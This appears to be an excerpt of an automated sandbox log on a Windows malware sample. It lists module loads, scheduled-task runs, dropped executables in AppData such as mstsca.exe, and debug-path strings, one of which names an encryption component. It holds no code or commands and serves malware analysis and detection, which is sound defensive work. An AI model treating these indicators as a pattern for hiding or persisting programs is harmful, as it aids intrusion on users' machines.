Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Section loaded: sxs.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: uxtheme.dll

Source: C:\Users\user\Desktop\R5391762lf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: R5391762lf.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: R5391762lf.exe, 00000007.00000003.1946209635.000000000342A000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1946440277.000000000344B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\41\\5bU)% source: R5391762lf.exe, 00000007.00000003.2101462932.0000000003691000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: R5391762lf.exe, 00000007.00000003.2099254627.000000000380B000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2100295097.000000000397E000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2077993512.000000000391E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ m[%K source: R5391762lf.exe, 00000007.00000003.2081897313.000000000379F000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2098573555.000000000379F000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2100791102.000000000379F000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2080641815.0000000003787000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2079360767.00000000036F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: R5391762lf.exe, 00000007.00000003.1681500127.0000000003386000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1946799099.00000000033B3000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1682385197.000000000339B000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1948192992.00000000033B7000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1622139551.0000000003386000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1681962371.0000000003398000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: R5391762lf.exe, 00000007.00000003.2136464726.000000000379F000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2146776038.00000000037AF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\* source: R5391762lf.exe, 00000007.00000003.2135353595.0000000003BE6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\a\\* source: R5391762lf.exe, 00000007.00000003.2135353595.0000000003BE6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\a\ source: R5391762lf.exe, 00000007.00000003.1946209635.000000000342A000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2050202443.00000000034AD000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1947878317.00000000034AF000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2050850721.00000000034C5000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2049890930.00000000034A1000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1946440277.000000000344B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\Hq source: R5391762lf.exe, 00000007.00000003.1681931238.00000000031A7000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1681857238.0000000003192000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\tofagehu\hiv.pdb source: R5391762lf.exe, 00000000.00000000.1365440142.0000000000412000.00000002.00000001.01000000.00000003.sdmp, R5391762lf.exe, 00000000.00000002.1371228997.0000000000412000.00000002.00000001.01000000.00000003.sdmp, R5391762lf.exe, 00000002.00000000.1368723855.0000000000412000.00000002.00000001.01000000.00000003.sdmp, R5391762lf.exe, 00000005.00000000.1393141835.0000000000412000.00000002.00000001.01000000.00000003.sdmp, R5391762lf.exe, 00000005.00000002.1402790668.0000000000412000.00000002.00000001.01000000.00000003.sdmp, R5391762lf.exe, 00000006.00000000.1394677978.0000000000412000.00000002.00000001.01000000.00000007.sdmp, R5391762lf.exe, 00000006.00000002.1407678085.0000000000412000.00000002.00000001.01000000.00000007.sdmp, R5391762lf.exe, 00000007.00000003.1491373512.00000000097E0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\S source: R5391762lf.exe, 00000007.00000003.2163523307.000000000394E000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2148622885.0000000003909000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2147135864.00000000038B9000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2161507868.000000000391E000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2146207325.00000000038A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\kL source: R5391762lf.exe, 00000007.00000003.2083769242.0000000003878000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2079953062.000000000382C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\jones\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\input\ar-IQ\\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\2a source: R5391762lf.exe, 00000007.00000003.2099254627.000000000380B000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2102031776.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2101371339.0000000003858000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ABA671~1A8E3aba6710fde0876af_0ata\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: R5391762lf.exe, 00000007.00000003.2099254627.000000000380B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\NV, source: R5391762lf.exe, 00000007.00000003.2068868095.0000000003538000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2066983991.000000000351F000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2049588960.0000000003505000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2049773121.0000000003517000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\8\) source: R5391762lf.exe, 00000007.00000003.2068625676.0000000003494000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2067121029.0000000003429000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2067819538.0000000003491000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: R5391762lf.exe, 00000007.00000003.2102219376.0000000003B45000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2099254627.000000000380B000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2136303536.0000000003B65000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2102031776.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2101371339.0000000003858000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2101597700.0000000003B45000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\+D> source: R5391762lf.exe, 00000007.00000003.2049327479.0000000003858000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2050729410.0000000003870000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: R5391762lf.exe, 00000007.00000003.2101597700.0000000003ACA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: R5391762lf.exe, R5391762lf.exe, 00000006.00000002.1411124880.0000000005EC0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ache\ source: R5391762lf.exe, 00000007.00000003.1946209635.000000000342A000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1946440277.000000000344B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: R5391762lf.exe, 00000007.00000003.2065679355.00000000037F3000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2083769242.0000000003878000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2068464910.0000000003838000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2079953062.000000000382C000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2067296704.00000000037F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\d source: R5391762lf.exe, 00000007.00000003.2161564877.0000000003E55000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: R5391762lf.exe, 00000007.00000003.2065679355.00000000037F3000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2051158018.00000000037A8000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2068464910.0000000003838000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2067296704.00000000037F3000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2051285855.00000000037C8000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2052379835.00000000037D7000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2049970590.000000000370B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: R5391762lf.exe, 00000007.00000003.2161457141.0000000003AA1000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2147352148.0000000003A91000.00000004.00000020.00020000.00000000.sdmp
